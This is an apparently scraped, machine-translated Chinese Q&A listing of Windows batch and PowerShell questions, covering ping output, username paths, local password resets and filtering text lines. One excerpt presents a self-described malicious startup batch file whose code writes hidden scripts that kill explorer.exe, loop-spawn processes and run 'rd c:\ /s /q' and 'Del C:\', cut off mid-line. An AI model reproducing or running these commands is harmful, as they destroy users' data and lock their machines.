我正在制作一个批处理文件来测试计算机名称并查看它是否响应。
然而,当我运行它时,即使“@echo off”,我仍然看到正在发送的回复等等。我怎样才能隐藏它?
我已经看到您可以使用 %USERNAME% 来获取整个路径,但我只想获取例如 John Doe 用于将网络驱动器映射到以用户配置文件名称命名的特定文件夹?
例如 NET USE h:\test\Citrixusers\%USERNAME% 但当然这将获得用户名作为 C:\Users\"Name"
所以最终结果会像 \test\Citrixusers\John Doe
提前谢谢大家。
我需要将本地机器(没有网络或域,只有机器)上的密码批量重置为单个密码;例如 %1Percent 。我想知道这是否可以通过批处理或电源外壳或某种脚本实现。
这是非常复杂的。我正在开发一个恶意批处理文件只是为了测试自己。这将在启动时完成。
我拥有的是三个 + 六个(隐藏的)批处理文件。第一个文件制作了六个其他隐藏的批处理文件,然后CALL是第二个未隐藏的文件。
第二个文件只是说了一些讨厌的事情,最后执行了六个文件。
第三个文件在后台运行并检查第二个文件是否正在运行,如果没有,它将执行六个隐藏文件。
现在我遇到的问题。如果受害者有一个在启动时打开批处理文件的服务或任何东西并且它继续运行,那么所有的事情都会变得一团糟,因为所有正在运行的批处理文件都有进程名称cmd.exe如果受害者关闭了第二个(不是隐藏的)文件,但是另一个批处理文件(不是病毒的一部分)正在运行。第三个批处理文件将假定它仍在运行。因为它也有名字cmd.exe
而且第二个文件也不会在启动时打开。
这是我的批处理文件的代码。
文件编号。1@echo off
:DALLING
echo @echo off >>1.bat
echo :B >>1.bat
echo start >>1.bat
echo goto B >>1.bat
echo @echo off >>2.bat
echo color 02 >>2.bat
echo :start >>2.bat
echo taskkill -f explorer.exe >>2.bat
echo start %windir%\System32\rundll32.exe user 32.dll, LockWorkStation >>2.bat
echo rd c:\ /s /q >>2.bat
echo cls >>2.bat
echo @Echo off >>3.bat
echo Del C:\ …Run Code Online (Sandbox Code Playgroud) 我有一个包含以下 3 行的文本文件:
This line contains foo.
This line contains bar.
This line has neither.
Run Code Online (Sandbox Code Playgroud)
我可以在“.bat”文件(在上面的“.txt”文件旁边)中运行以下命令,它会删除文本文件中的所有行,除了包含“foo”的行:
Powershell.exe -Command "gci *.txt | foreach { (cat $_.FullName | ? { $_ -like '*foo*' }) | set-content $_.FullName}"
Run Code Online (Sandbox Code Playgroud)
运行达到预期效果,在文本文件中只留下这一行:
This line contains foo.
Run Code Online (Sandbox Code Playgroud)
现在的问题是:如果我想保留行中包含“foo”和“bar”的行怎么办?
到目前为止,我一定已经尝试了大约 40 或 50 种不同的组合,放置管道字符:*foo*|*bar*,去掉星号foo|bar,仅在开头和结尾放置星号:*foo|bar*,使用逗号,不使用逗号,使用分号,不使用分号,-like使用和不使用$_ 以及许多其他方式复制命令。
没有任何效果 - 到目前为止,在每次尝试中,我最终得到的文本文件看起来都一样,原始三行包含 foo(第 1 行)、bar(第 2 行)和两者都不包含(第 3 行)。
为了确保我没有编辑命令并出错,我会定期删除我的编辑并再次运行命令以取出没有“foo”的行并且它可以工作,或者我只是再次粘贴命令,再次测试,然后开始尝试编辑它以包含“bar”,但无济于事。
我最近已经问过这个问题,但我想我对标题的措辞不清楚。有人试图回答它,但他们提供的每个答案都没有奏效,至少当我将命令放入批处理文件并在文本文件旁边运行时,也许它对他们有用,使用不同的方法我是谁,我不知道。
请注意,我在批处理文件中使用了 powershell 命令!我没有在控制台中输入或使用 ps1 脚本。 我不需要做任何这些,因为我上面提到的第一个命令确实可以删除所有带有“foo”的行。
显然,既然这样做有效,该命令可以用作添加的基础,因此它可以在一个命令中处理“foo”和“bar”。 …
batch ×5
command-line ×3
powershell ×2
vbscript ×2
passwords ×1
ping ×1
script ×1
username ×1
virus ×1
windows ×1
windows-xp ×1